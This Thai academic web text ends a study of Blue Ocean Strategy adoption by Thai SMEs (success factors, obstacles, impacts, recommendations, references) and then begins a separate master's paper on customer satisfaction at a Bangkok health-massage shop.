                 4. การใช้เครื่องมือวิเคราะห์และวางแผนกลยุทธ์อย่างเป็นระบบ การนำเครื่องมือเชิงกลยุทธ์ เช่น SWOT Analysis, Strategy Canvas และ Four Actions Framework (ERRC) มาใช้ช่วยให้วิสาหกิจสามารถวางแผนและดำเนินกลยุทธ์ได้อย่างมีทิศทางชัดเจน เครื่องมือเหล่านี้ช่วยระบุจุดแข็ง จุดอ่อน โอกาส และอุปสรรคได้อย่างแม่นยำ และกำหนดกลยุทธ์ที่เหมาะสมในการสร้างคุณค่าใหม่และลดต้นทุนได้อย่างสมดุล

                 5. การสร้างนวัตกรรมคุณค่าและประสบการณ์ที่ดีให้ลูกค้า การพัฒนาผลิตภัณฑ์หรือบริการที่มีความแตกต่างและตอบสนองความต้องการที่แท้จริงของลูกค้า ช่วยให้วิสาหกิจสร้างตลาดใหม่และลดการแข่งขันด้านราคาได้อย่างมีประสิทธิภาพ นวัตกรรมคุณค่าไม่จำเป็นต้องเป็นเทคโนโลยีสูงเสมอไป แต่สามารถเป็นการปรับปรุงกระบวนการผลิต การออกแบบบริการ หรือการสร้างประสบการณ์ที่ดีให้กับลูกค้า การสร้างความสัมพันธ์ที่แน่นแฟ้นกับลูกค้ายังช่วยให้วิสาหกิจได้รับข้อมูลย้อนกลับที่มีคุณค่าเพื่อนำมาปรับปรุงอย่างต่อเนื่อง

                6. ความยืดหยุ่นในการปรับเปลี่ยนโมเดลธุรกิจ ความสามารถในการปรับเปลี่ยนโมเดลธุรกิจให้สอดคล้องกับตลาดใหม่และนวัตกรรมที่พัฒนาขึ้น เป็นปัจจัยสำคัญต่อความสำเร็จ การบริหารจัดการที่มีความยืดหยุ่น เปิดรับการเปลี่ยนแปลง และพร้อมทดลองแนวทางใหม่ ช่วยลดความเสี่ยงและเพิ่มโอกาสในการประสบความสำเร็จในตลาดใหม่

            อุปสรรคและข้อจำกัดในการดำเนินกลยุทธ์น่านน้ำสีคราม ผลการวิจัยพบว่า

                 1. ขาดความรู้ความเข้าใจในกลยุทธ์อย่างลึกซึ้ง อุปสรรคสำคัญคือการขาดความรู้และความเข้าใจที่ถูกต้องเกี่ยวกับหลักการและวิธีการนำกลยุทธ์น่านน้ำสีครามไปใช้จริง หลายองค์การเข้าใจผิดว่าการสร้างนวัตกรรมหรือตลาดใหม่เป็นเรื่องง่ายและต้องลงทุนสูง แต่การวิจัยพบว่านวัตกรรมคิดเป็นเพียงประมาณ 10% ของความสำเร็จเท่านั้น การขาดความรู้ในส่วนนี้อาจนำไปสู่การลงทุนที่ไม่เหมาะสมและความล้มเหลวทางธุรกิจ ผู้ประกอบการ SME ผลิตภัณฑ์รักษ์โลกกล่าวว่า “บางทีเราก็แค่คิดว่า Blue Ocean คือการทำของใหม่ แต่ไม่เคยเข้าใจจริงๆ ว่าต้องเริ่มจากการวิเคราะห์ลูกค้าและตลาดแบบลึกซึ้งก่อน พอทำจริงๆ ถึงรู้ว่ามันซับซ้อนกว่าที่คิด”

                2. ข้อจำกัดด้านทรัพยากรและงบประมาณ วิสาหกิจขนาดกลางและขนาดย่อมประสบข้อจำกัดด้านทรัพยากรทางการเงิน บุคลากร และเทคโนโลยี ซึ่งจำกัดความสามารถในการลงทุนพัฒนานวัตกรรมและทดลองตลาดใหม่ การขาดแคลนทรัพยากรเหล่านี้ทำให้การดำเนินกลยุทธ์ต้องเผชิญกับความเสี่ยงสูง และอาจต้องใช้เวลานานกว่าจะเห็นผลลัพธ์ที่ชัดเจน ผู้บริหารธุรกิจแฟชั่นกล่าวว่า “อยากพัฒนาระบบใหม่ให้ลูกค้าซื้อผ่านแอปได้ แต่แค่ค่าพัฒนาเบื้องต้นก็เกินกำลังเราแล้ว SMEs แบบเราทำอะไรใหม่ๆ ต้องคิดหนักเรื่องทุน”

                3. ความเสี่ยงจากการทดลองตลาดใหม่ที่ยังไม่แน่นอน การสร้างตลาดใหม่และนวัตกรรมใหม่มีความไม่แน่นอนสูง เนื่องจากยังไม่มีข้อมูลหรือประสบการณ์มาก่อนว่าตลาดนั้นจะตอบรับอย่างไร วิสาหกิจที่ไม่มีการวางแผนและประเมินความเสี่ยงอย่างรอบคอบอาจประสบปัญหาขาดทุนหรือสูญเสียโอกาสทางธุรกิจได้ การเปลี่ยนแปลงพฤติกรรมผู้บริโภคและสภาพแวดล้อมทางธุรกิจที่รวดเร็วยังเพิ่มความซับซ้อนในการดำเนินกลยุทธ์

                 4. การต่อต้านการเปลี่ยนแปลงภายในองค์การ การนำกลยุทธ์น่านน้ำสีครามไปใช้ต้องการการเปลี่ยนแปลงในหลายด้าน เช่น การบริหารจัดการ กระบวนการผลิต และวัฒนธรรมองค์การ ซึ่งอาจเผชิญกับความต้านทานจากบุคลากรที่คุ้นเคยกับวิธีการเดิม ความไม่พร้อมหรือความกลัวการเปลี่ยนแปลงอาจทำให้การดำเนินกลยุทธ์ล่าช้าหรือไม่ประสบความสำเร็จ ผู้บริหารธุรกิจท่องเที่ยวเพื่อชุมชนกล่าวว่า “ทีมงานที่อยู่มานานไม่อยากเปลี่ยนระบบ แม้ว่าเราจะเห็นว่าของใหม่มันดี พอมีแรงต้านเยอะก็ต้องชะลอแผนไปก่อน”

                 5. การขาดเครือข่ายพันธมิตรและความร่วมมือทางธุรกิจ วิสาหกิจที่ไม่มีเครือข่ายพันธมิตรที่แข็งแกร่งอาจประสบปัญหาในการเข้าถึงวัตถุดิบ เทคโนโลยี หรือช่องทางการตลาดใหม่ ซึ่งจำกัดโอกาสในการพัฒนานวัตกรรมและการขยายตลาด การขาดความร่วมมือทำให้ธุรกิจต้องแบกรับต้นทุนและความเสี่ยงทั้งหมดเอง ซึ่งอาจทำให้การดำเนินกลยุทธ์ไม่ประสบความสำเร็จ

                6. ความไม่มั่นคงของตลาดและการแข่งขันที่เปลี่ยนแปลงเร็ว แม้กลยุทธ์น่านน้ำสีครามเน้นการสร้างตลาดใหม่ที่ยังไม่มีคู่แข่ง แต่ตลาดเหล่านี้อาจกลายเป็นตลาดสีแดงได้ในอนาคตเมื่อมีผู้ประกอบการรายอื่นเข้ามาแข่งขัน วิสาหกิจจึงต้องมีการพัฒนานวัตกรรมและปรับตัวอย่างต่อเนื่องเพื่อรักษาความได้เปรียบ ผู้บริหารธุรกิจบริการสุขภาพกล่าวว่า “ตอนแรกที่คิดตลาดใหม่มันยังไม่มีใครเลย เราเป็นเจ้าแรก แต่ไม่ถึงปี ก็มีคู่แข่งเข้ามาตีราคาแข่ง จากน้ำเงินกลายเป็นแดงเร็วมาก”

            ผลกระทบต่อรูปแบบธุรกิจของวิสาหกิจขนาดกลางและขนาดย่อม ผลการวิจัย พบว่า

                 1. การสร้างความแตกต่างที่ยั่งยืนในตลาด การประยุกต์ใช้กลยุทธ์น่านน้ำสีครามช่วยให้วิสาหกิจสร้างความแตกต่างที่ยั่งยืนได้อย่างชัดเจน การสร้างความแตกต่างไม่ได้จำกัดอยู่แค่คุณสมบัติของสินค้า แต่รวมถึงการสร้างประสบการณ์ที่ดีให้กับลูกค้า การออกแบบบรรจุภัณฑ์ที่สะดุดตา และการนำเสนอช่องทางการจัดจำหน่ายใหม่ที่สะดวก ผลที่ตามมาคือธุรกิจสามารถหลีกเลี่ยงการแข่งขันด้านราคาและรักษากำไรที่เหมาะสมได้ในระยะยาว

                2. การขยายตลาดและการเข้าถึงกลุ่มลูกค้าใหม่ กลยุทธ์นี้ช่วยให้วิสาหกิจสามารถขยายตลาดออกไปสู่กลุ่มลูกค้าใหม่ที่ยังไม่เคยถูกตอบสนองอย่างเต็มที่ โดยการสร้างผลิตภัณฑ์หรือบริการที่ตอบโจทย์ความต้องการเฉพาะกลุ่ม (niche market) การขยายตลาดนี้ทำให้ธุรกิจมีโอกาสเพิ่มรายได้และส่วนแบ่งตลาดโดยไม่ต้องแข่งขันโดยตรงกับคู่แข่งเดิม ผู้ประกอบการ SME ผลิตภัณฑ์รักษ์โลกกล่าวว่า “ก่อนหน้านี้ขายในจังหวัดเดียว พอเอาผลิตภัณฑ์ไปเล่าเรื่องบนออนไลน์ คนจากต่างจังหวัดก็สนใจมากขึ้นจนยอดสั่งซื้อเพิ่มเป็นสองเท่าในสามเดือน”

                 3. การเพิ่มประสิทธิภาพและนวัตกรรมในการดำเนินงาน การนำกลยุทธ์ไปใช้ส่งผลต่อการปรับปรุงกระบวนการดำเนินงานและการสร้างนวัตกรรมภายในองค์การ วิสาหกิจมีการปรับเปลี่ยนโมเดลธุรกิจและกระบวนการผลิตให้สอดคล้องกับความต้องการของตลาดใหม่ นวัตกรรมที่เกิดขึ้นสามารถเป็นการปรับปรุงวิธีการทำงาน การลดขั้นตอนที่ไม่จำเป็น การใช้วัตถุดิบท้องถิ่นที่มีต้นทุนต่ำแต่คุณภาพสูง หรือการออกแบบบริการที่เน้นความสะดวก ผลลัพธ์คือองค์การสามารถลดต้นทุนการดำเนินงาน เพิ่มประสิทธิภาพ และสร้างความยืดหยุ่นในการปรับตัว

                 4. การสร้างความได้เปรียบในการแข่งขันและความยั่งยืน กลยุทธ์น่านน้ำสีครามช่วยให้วิสาหกิจสร้างความได้เปรียบในการแข่งขันที่ยั่งยืนโดยไม่ต้องพึ่งพาการแข่งขันด้านราคาอย่างเดียว การสร้างตลาดใหม่และนวัตกรรมคุณค่าทำให้ธุรกิจสามารถครอบครองตลาดที่ยังไม่มีคู่แข่งเข้ามาแย่งชิง การสร้างความสัมพันธ์ที่ดีกับลูกค้าและพันธมิตรทางธุรกิจช่วยเสริมสร้างความมั่นคงและความยั่งยืนในระยะยาว

                 5. การส่งเสริมการเรียนรู้และพัฒนาศักยภาพองค์การ การนำกลยุทธ์ไปใช้กระตุ้นให้วิสาหกิจต้องมีการเรียนรู้และพัฒนาศักยภาพทั้งในด้านบุคลากรและการบริหารจัดการ การเปิดรับนวัตกรรมและการปรับตัวอย่างรวดเร็วทำให้องค์การมีความพร้อมในการเผชิญกับความท้าทายใหม่ เจ้าของโรงงานเครื่องเขียนแปรรูปกล่าวว่า “การลองทำตลาดใหม่ทำให้พนักงานต้องเรียนรู้เรื่อง UX, การวิเคราะห์ข้อมูลลูกค้า พวกเขาเก่งขึ้นแบบเห็นได้ชัดภายในครึ่งปี”

                   6. การเพิ่มโอกาสในการสร้างรายได้และกำไร การใช้กลยุทธ์ช่วยให้วิสาหกิจสามารถสร้างรายได้และกำไรที่เพิ่มขึ้นจากการขยายตลาดใหม่และการสร้างคุณค่าใหม่ที่ลูกค้าเห็นคุณค่า การหลีกเลี่ยงการแข่งขันในตลาดเดิมช่วยลดความเสี่ยงในการสูญเสียรายได้จากสงครามราคา การสร้างผลิตภัณฑ์และบริการที่มีความแตกต่างยังช่วยเพิ่มโอกาสในการสร้างความภักดีของลูกค้าและการซื้อซ้ำ

                   7. การส่งเสริมการพัฒนาอย่างยั่งยืนและรับผิดชอบต่อสังคม มีแนวโน้มที่วิสาหกิจจะนำแนวคิดนี้มาผสมผสานกับแนวคิดความยั่งยืนและความรับผิดชอบต่อสังคม เช่น การพัฒนาผลิตภัณฑ์ที่เป็นมิตรกับสิ่งแวดล้อม การผสมผสานนี้ช่วยให้ธุรกิจตอบสนองต่อความต้องการของผู้บริโภคที่ใส่ใจสิ่งแวดล้อมและความยั่งยืน ซึ่งเป็นตลาดที่กำลังเติบโตอย่างรวดเร็ว

สรุปผลการวิจัย

               การศึกษาแสดงให้เห็นว่าความสำเร็จของการประยุกต์ใช้กลยุทธ์น่านน้ำสีครามในวิสาหกิจขนาดกลางและขนาดย่อมไทยขึ้นอยู่กับปัจจัยหลัก 7 ประการ ได้แก่ (1) ความเข้าใจตลาดและลูกค้าอย่างลึกซึ้ง (2) การมีพันธมิตรที่เข้มแข็ง (3) การสนับสนุนจากผู้บริหารและบุคลากร (4) การใช้เครื่องมือวางแผนกลยุทธ์อย่างเป็นระบบ (5) การสร้างนวัตกรรมคุณค่าและประสบการณ์ที่ดี (6) ความยืดหยุ่นในการปรับเปลี่ยนโมเดลธุรกิจ และ (7) การมีวิสัยทัศน์และความกล้าเสี่ยงของผู้นำขณะเดียวกัน วิสาหกิจต้องเผชิญกับอุปสรรค 6 ประการ คือ (1) ขาดความรู้ความเข้าใจในกลยุทธ์อย่างลึกซึ้ง (2) ข้อจำกัดด้านทรัพยากรและงบประมาณ (3) ความเสี่ยงจากการทดลองตลาดใหม่ที่ยังไม่แน่นอน (4) การต่อต้านการเปลี่ยนแปลงภายในองค์การ (5) การขาดเครือข่ายพันธมิตร และ (6) ความไม่มั่นคงของตลาดที่อาจกลายเป็นตลาดสีแดงได้รวดเร็ว ผลกระทบที่เกิดขึ้นต่อรูปแบบธุรกิจมีความหลากหลายและลึกซึ้ง ครอบคลุม 10 มิติสำคัญ ได้แก่ การสร้างความแตกต่างที่ยั่งยืน การขยายตลาดและเข้าถึงลูกค้าใหม่ การเพิ่มประสิทธิภาพและนวัตกรรม การสร้างความได้เปรียบในการแข่งขัน การส่งเสริมการเรียนรู้และพัฒนาศักยภาพองค์การ การสร้างเครือข่ายพันธมิตร การเพิ่มรายได้และกำไร การพัฒนาอย่างยั่งยืน การสร้างแรงจูงใจให้พนักงาน และการสร้างความยืดหยุ่นในการปรับตัว การประยุกต์ใช้รูปแบบเหล่านี้อย่างบูรณาการช่วยให้วิสาหกิจขนาดกลางและขนาดย่อมสามารถหลีกเลี่ยงการแข่งขันที่รุนแรงในตลาดเดิม สร้างความแตกต่างที่ยั่งยืน และขยายตลาดใหม่ได้อย่างมีประสิทธิภาพ ซึ่งเป็นกลยุทธ์สำคัญในการสร้างความได้เปรียบทางการแข่งขันและความยั่งยืนทางธุรกิจในระยะยาว อย่างไรก็ตาม การประยุกต์ใช้กลยุทธ์น่านน้ำสีครามต้องอาศัยความมุ่งมั่น การเรียนรู้อย่างต่อเนื่อง และความกล้าที่จะเปลี่ยนแปลงจากโมเดลธุรกิจเดิม โดยองค์การจำเป็นต้องมีวิสัยทัศน์ที่ชัดเจนและความพร้อมในการลงทุนทั้งด้านเวลาและทรัพยากรเพื่อสร้างนวัตกรรมที่แท้จริง

อภิปรายผลการวิจัย

              จากผลการวิจัยที่พบว่าวิสาหกิจขนาดกลางและขนาดย่อม (SMEs) ในประเทศไทยสามารถประยุกต์ใช้กลยุทธ์น่านน้ำสีครามได้อย่างมีประสิทธิภาพ สะท้อนให้เห็นถึงศักยภาพในการปรับตัวและความกล้าคิดต่างของผู้ประกอบการไทย ซึ่งเป็นปัจจัยสำคัญในการสร้างความได้เปรียบเชิงการแข่งขันในยุคที่ตลาดมีการเปลี่ยนแปลงอย่างรวดเร็ว สามารถอภิปรายผลได้ดังนี้

              1. การสร้างนวัตกรรมคุณค่าและการสร้างตลาดใหม่ ผลการวิจัยสอดคล้องกับแนวคิดของ Kim และ Mauborgne (2015) ที่เน้นการสร้างนวัตกรรมคุณค่า (Value Innovation) ซึ่งเป็นหัวใจของกลยุทธ์น่านน้ำสีคราม โดย วิสาหกิจขนาดกลางและขนาดย่อมไทยสามารถพัฒนาสินค้าและบริการที่แตกต่างจากคู่แข่งในตลาดเดิม และตอบสนองความต้องการของลูกค้ากลุ่มใหม่ที่ยังไม่มีใครดูแล การสร้างตลาดใหม่และหลีกเลี่ยงการแข่งขันด้านราคากับคู่แข่งเดิม ช่วยให้ธุรกิจสามารถเพิ่มมูลค่าและขยายฐานลูกค้าได้อย่างยั่งยืน ตัวอย่างเช่น การนำเสนอผลิตภัณฑ์เพื่อสุขภาพที่ตอบโจทย์ไลฟ์สไตล์คนรุ่นใหม่ หรือการใช้เทคโนโลยีดิจิทัลในการสร้างประสบการณ์ลูกค้า

              2. การใช้เครื่องมือกลยุทธ์และการบริหารจัดการที่เป็นระบบ การนำเครื่องมือวิเคราะห์กลยุทธ์ เช่น SWOT Analysis, Strategy Canvas และ Four Actions Framework (ERRC) มาใช้ ช่วยให้ผู้ประกอบการสามารถมองเห็นโอกาสและช่องว่างในตลาดได้อย่างชัดเจน พร้อมทั้งสามารถกำหนดทิศทางการพัฒนาธุรกิจได้อย่างเป็นระบบ การวางแผนกลยุทธ์ที่มีโครงสร้างและการประเมินผลอย่างต่อเนื่อง ยังช่วยลดความเสี่ยงจากการดำเนินธุรกิจในตลาดใหม่

              3. ปัจจัยเอื้อและอุปสรรคในการดำเนินกลยุทธ์ ผลการวิจัยพบว่าปัจจัยที่เอื้อต่อความสำเร็จ ได้แก่ ความเข้าใจลูกค้าอย่างลึกซึ้ง ความสามารถในการปรับตัวต่อการเปลี่ยนแปลง การสนับสนุนจากผู้บริหารและบุคลากร รวมถึงการมีเครือข่ายพันธมิตรทางธุรกิจที่เข้มแข็ง ซึ่งสอดคล้องกับงานวิจัยของ Somsuk & Laosirihongthong (2014) ที่ชี้ให้เห็นว่าการสร้างเครือข่ายและการแลกเปลี่ยนความรู้ระหว่างองค์การเป็นปัจจัยสำคัญในการขับเคลื่อนนวัตกรรม ในทางกลับกัน อุปสรรคสำคัญที่ วิสาหกิจขนาดกลางและขนาดย่อม ไทยเผชิญ ได้แก่ ข้อจำกัดด้านทรัพยากรทั้งในด้านเงินทุน บุคลากร และเทคโนโลยี ความรู้ความเข้าใจในกลยุทธ์น่านน้ำสีครามที่ยังไม่ลึกซึ้ง รวมถึงความเสี่ยงจากการทดลองตลาดใหม่และการต่อต้านการเปลี่ยนแปลงภายในองค์การ ปัญหาเหล่านี้สอดคล้องกับข้อค้นพบจากงานวิจัยในต่างประเทศที่ระบุว่า SMEs มักขาดโครงสร้างสนับสนุนและขาดความพร้อมในการเปลี่ยนแปลง (Porter, 2008)

              4. บทบาทของวัฒนธรรมองค์การและการเรียนรู้ การสร้างวัฒนธรรมองค์การที่เปิดรับนวัตกรรมและการเปลี่ยนแปลง เป็นอีกหนึ่งปัจจัยที่ส่งผลต่อความสำเร็จของการนำกลยุทธ์น่านน้ำสีครามไปใช้จริง การส่งเสริมให้บุคลากรกล้าคิด กล้าทดลอง และยอมรับความล้มเหลวในฐานะบทเรียน จะช่วยให้องค์การสามารถปรับตัวและสร้างสรรค์สิ่งใหม่ได้อย่างต่อเนื่องและความเชื่อมโยงกับทฤษฎีและงานวิจัยที่เกี่ยวข้องผลการวิจัยนี้สอดคล้องกับแนวคิดของ Porter (1980) ที่ระบุว่าความสามารถในการสร้างความแตกต่าง (Differentiation) และการลดการแข่งขันโดยตรงเป็นปัจจัยสำคัญในการสร้างความได้เปรียบทางการแข่งขัน นอกจากนี้ ยังสอดคล้องกับแนวคิดเรื่องนวัตกรรมแบบเปิด (Open Innovation) ที่เน้นการเชื่อมโยงเครือข่ายและการร่วมมือกับพันธมิตรทางธุรกิจ  

ข้อเสนอแนะเชิงนโยบายและการปฏิบัติ

               เพื่อให้การดำเนินกลยุทธ์น่านน้ำสีครามประสบความสำเร็จอย่างยั่งยืน ผู้วิจัยเสนอแนะแนวทางดังนี้

            ข้อเสนอแนะสำหรับวิสาหกิจขนาดกลางและขนาดย่อม

            1. ผู้บริหารและบุคลากรควรเข้ารับการอบรมเกี่ยวกับหลักการและเครื่องมือของกลยุทธ์น่านน้ำสีครามอย่างเป็นระบบ เพื่อสร้างความเข้าใจที่ถูกต้องและสามารถนำไปประยุกต์ใช้ได้อย่างมีประสิทธิภาพ

               2. ควรสร้างเครือข่ายพันธมิตรและส่งเสริมความร่วมมือกับพันธมิตรทางธุรกิจ ทั้งผู้จัดหาวัตถุดิบ ผู้ให้บริการเทคโนโลยี และผู้เชี่ยวชาญด้านต่างๆ เพื่อลดต้นทุน เพิ่มประสิทธิภาพ และเข้าถึงทรัพยากรที่จำเป็น

            3. ควรมีการวางแผนและประเมินความเสี่ยงโดยใช้เครื่องมือวิเคราะห์เชิงกลยุทธ์อย่างรอบคอบก่อนเข้าสู่ตลาดใหม่ มีการทดสอบตลาดในวงจำกัดก่อนขยายเต็มรูปแบบ และเตรียมแผนสำรองสำหรับสถานการณ์ที่อาจเกิดขึ้น

               4. ควรสร้างวัฒนธรรมองค์การ  โดยพัฒนาวัฒนธรรมองค์การที่เปิดรับการเปลี่ยนแปลง ส่งเสริมการคิดสร้างสรรค์ และให้ความสำคัญกับการเรียนรู้อย่างต่อเนื่อง โดยผู้บริหารต้องเป็นแบบอย่างและให้การสนับสนุนอย่างเต็มที่

            ข้อเสนอแนะสำหรับหน่วยงานภาครัฐและสถาบันสนับสนุน:

            1. ควรพัฒนาและจัดหลักสูตรอบรมเกี่ยวกับกลยุทธ์น่านน้ำสีครามที่เหมาะสมกับบริบทของวิสาหกิจไทย พร้อมกรณีศึกษาที่เป็นรูปธรรม

               2. ควรมีการสนับสนุนทางการเงิน  จัดสรรแหล่งทุนหรือสินเชื่อดอกเบี้ยต่ำสำหรับวิสาหกิจที่ต้องการพัฒนานวัตกรรมและเข้าสู่ตลาดใหม่ เพื่อลดข้อจำกัดด้านทรัพยากร

            3. ควรส่งเสริมเครือข่ายและความร่วมมือ  จัดตั้งศูนย์กลางหรือแพลตฟอร์มที่เชื่อมโยงวิสาหกิจขนาดกลางและขนาดย่อมกับพันธมิตรที่มีศักยภาพ ทั้งในและต่างประเทศ

               4. ควรให้คำปรึกษาและติดตามผล  จัดทีมที่ปรึกษาเพื่อให้คำแนะนำและติดตามความก้าวหน้าของวิสาหกิจที่นำกลยุทธ์ไปใช้ เพื่อให้การสนับสนุนที่ตรงจุดและทันท่วงที

ข้อเสนอแนะในการวิจัยครั้งต่อไป

              1. ควรขยายการวิจัยไปยังอุตสาหกรรมทุกประเภทเพื่อเปรียบเทียบและวิเคราะห์ความแตกต่างในการประยุกต์ใช้กลยุทธ์ Blue Ocean

              2. ควรมีการศึกษาด้วยวิธีการวิจัยเชิงปริมาณเพื่อวัดผลกระทบของกลยุทธ์น่านน้ำสีครามต่อผลประกอบการของธุรกิจ วัดผลลัพธ์ทางธุรกิจอย่างเป็นรูปธรรมหลังการนำกลยุทธ์ไปใช้     

เอกสารอ้างอิง 

อังคาร คะชาวังศรี และ อรรถพร พฤทธิพงษ์. (2020). กลยุทธ์แบบน่านน้ำสีครามเพื่อสร้างความแตกต่างที่ยั่งยืนของธุรกิจขนาดกลางและขนาดย่อมแบบดั้งเดิมในจังหวัดนครนายกของประเทศไทย. Journal of Business, Innovation and Sustainability, 15(3), 50-69.

อังคาร คะชาวังศรีและอรรถพร พฤทธิพงษ์. (2563).  กลยุทธ์แบบน่านน้ำสีครามเพื่อสร้างความแตกต่างที่ยั่งยืนของธุรกิจขนาดกลางและขนาดย่อมแบบดั้งเดิมในจังหวัดนครนายกของประเทศไทย.  Journal of Business, Innovation and Sustainability (JBIS).15(3),50-69.

ศรัณย์ เปรมสุข และคณะ, (2566). การประยุกต์ใช้การประเมินเชิงพัฒนาร่วมกับเทคนิคกำหนดกลยุทธ์น่านน้ำสีครามเพื่อเพิ่มประสิทธิภาพการบริหารเชิงกลยุทธ์. วารสารศึกษาศาสตร์ มหาวิทยาลัยนเรศวร. 25(4),362-372.

สุขศรี น. ห. (2022). กลยุทธ์น่านสีคราม (Blue Ocean Strategy). วารสารมนุษยศาสตร์และสังคมศาสตร์ มหาวิทยาลัยราชภัฏสุราษฎร์ธานี (Journal of Humanities and Social Sciences, SRU), 1(2), 141–148.

Kim, C. W. and Mauborgne, R. 2005. Blue ocean strategy: How to create uncontested market space and make the competition irrelevant. Boston, MA: Harvard Business School Press.

Kim, C. W., & Mauborgne, R. (2004). Blue ocean strategy. Harvard Business Review, 76-84.

Premsuk, S., Kornpuang, A., Buosonte, R., & Prachanban, P. (2023). Applying developmental evaluation with technique of blue ocean strategy for increasing efficiency of strategic management. Journal of Education and Innovation, 25(4), 362–372.

 Way Maker. (2025). Blue Ocean Strategy คืออะไร ทำไมถึงสำคัญกับการทำธุรกิจ. Digital Marketing. https://www.waymaker.co.th/post/blue-ocean-strategy

]]> ปัจจัยที่ส่งผลต่อความพึงพอใจในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร https://modernkrirkuniversity.com/2025/10/01/%e0%b8%9b%e0%b8%b1%e0%b8%88%e0%b8%88%e0%b8%b1%e0%b8%a2%e0%b8%97%e0%b8%b5%e0%b9%88%e0%b8%aa%e0%b9%88%e0%b8%87%e0%b8%9c%e0%b8%a5%e0%b8%95%e0%b9%88%e0%b8%ad%e0%b8%84%e0%b8%a7%e0%b8%b2%e0%b8%a1%e0%b8%9e/ Wed, 01 Oct 2025 05:36:31 +0000 https://modernkrirkuniversity.com/?p=30022 THE FACTORS INFLUENCING CUSTOMER SATISFACTION IN USING SERVICES AT

LINDA HEALTH MASSAGE, BANGKOK

ปัจจัยที่ส่งผลต่อความพึงพอใจในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร

THE FACTORS INFLUENCING CUSTOMER SATISFACTION IN USING SERVICES AT

LINDA HEALTH MASSAGE, BANGKOK

ปาริชาติ ชาพันดุง

PARICHAT CHAPUNDUNG

Entrepreneur, Linda Health Massage@gmail.com

อาจารย์ที่ปรึกษา ผู้ช่วยศาสาตราจารย์ ดร.วรรณี เบญจวัฒนาผล

คณะศิลปศาสตร์ มหาวิทยาลัยเกริก

Graduate students of Master of Arts Faculty of Liberal Arts, Krirk University

บทคัดย่อ

การศึกษาครั้งนี้ มีวัตถุประสงค์เพื่อศึกษาปัจจัยที่ส่งผลต่อความพึงพอใจในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร ประชากรที่ใช้ในการศึกษา คือ ลูกค้าผู้มาใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร ในช่วงเดือนธันวาคม 2567 ถึงเดือนมกราคม 2567 กลุ่มตัวอย่างจำนวน 222 คน เครื่องมือที่ใช้ในการเก็บรวบรวมข้อมูลเป็นแบบสอบถาม ค่าความเชื่อมั่นสัมประสิทธิอัลฟาของปัจจัยส่วนประสมทางการตลาดบริการ เท่ากับ 0.829 ความพึงพอใจในการใช้บริการ เท่ากับ 0.836 และแบบสอบถามทั้งฉบับเท่ากับ 0.837 สถิติที่ใช้ในการวิเคราะห์ ได้แก่ ค่าความถี่ ค่าร้อยละ ค่าเฉลี่ย และส่วนเบี่ยงเบนมาตรฐาน และทดสอบสัมประสิทธิ์สหสัมพันธ์ของเพียร์สัน

ผลการศึกษา พบว่า ปัจจัยที่ส่งผลต่อความพึงพอใจในการใช้บริการ พบว่า ด้านการส่งเสริมแนะนำบริการ เป็นปัจจัยที่มีผลต่อความพึงพอใจในการใช้บริการมากที่สุด รองลงมา คือ ด้านผู้ให้บริการ ด้านกระบวนการบริการ และด้านผลิตภัณฑ์บริการมีผลอย่างมีนัยสำคัญทางสถิติที่ระดับ 0.01 ส่วนด้านสภาพแวดล้อมของการบริการ มีผลอย่างมีนัยสำคัญที่ระดับ 0.05 ขณะที่ด้านราคาค่าบริการ และด้านสถานที่บริการ ไม่มีผลต่อความพึงพอใจในการใช้บริการ ร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร

คำสำคัญ: ความพึงพอใจ ปัจจัยส่วนประสมทางการตลาด นวดแผนไทย การใช้บริการ

Abstract

This study aimed to examine the factors influencing customer satisfaction with the services of Linda Health Massage in Bangkok. The population consisted of customers who used the services at Linda Health Massage during December 2024 to January 2025. A total of 222 respondents were selected as the sample group. Data collection was conducted using a questionnaire. The reliability coefficients (Cronbach’s Alpha) were 0.829 for the service marketing mix factors, 0.836 for customer satisfaction, and 0.837 for the overall questionnaire. The statistics used for data analysis included frequency, percentage, mean, standard deviation, and Pearson correlation coefficient.

The results revealed that the factor with the greatest influence on customer satisfaction was promotion, followed by people, process, and product, all of which had a statistically significant effect at the 0.01 level. The physical evidence factor had a significant effect at the 0.05 level. In contrast, price and place had no statistically significant effect on customer satisfaction at Linda Health Massage in Bangkok.

Keyword: Customer satisfaction, marketing mix factors, Thai massage, service usage

บทนำ

ในปัจจุบันกระทรวงสาธารณสุข กรมการแพทย์แผนไทย และการแพทย์ทางเลือก ได้สนับสนุนการขับเคลื่อนเศรษฐกิจสุขภาพ โดยเฉพาะอาชีพนวดแผนไทยที่ถือเป็นอัตลักษณ์ของไทย เป็นที่รู้จักของนานาประเทศ โดยต่างประเทศมีความต้องการแรงงานกลุ่มนี้จำนวนมาก อาชีพดังกล่าวยังสามารถสร้างงาน สร้างรายได้ พร้อมส่งเสริมธุรกิจอาหารไทย ผลิตภัณฑ์สมุนไพร การท่องเที่ยวเชิงสุขภาพ นอกจากนี้ การส่งเสริมดังกล่าวอีกทั้งยังเป็นส่วนหนึ่งของการสร้างพลังสร้างสรรค์ (Soft power) ของประเทศ (ไทยโพสต์, 2567)

จากการผลักดันนโยบายรัฐบาล ในปี 2566 พบว่า มีสถานประกอบการเพื่อสุขภาพสปา จำนวน 929 แห่ง นวดเพื่อสุขภาพ 10,652 แห่ง และสถานประกอบการเพื่อสุขภาพความงามจำนวน 143 แห่ง ทั้งนี้ มีจำนวนผู้ให้บริการนวดไทยทั้งในภาครัฐและเอกชน รวม 183,982 คน (Bangkokbiznews, 2567) อย่างไรก็ตาม การแข่งขันในตลาดมีความรุนแรงควบคู่ไปกับการเติบโตที่เพิ่มขึ้น การดำรงธุรกิจในตลาดดังกล่าว จึงต้องเน้นการตอบสนองความต้องการของลูกค้าอย่างสูงสุด เพื่อรักษาฐานลูกค้าไว้ (ปภัสสร นิลวงศ์, 2565)

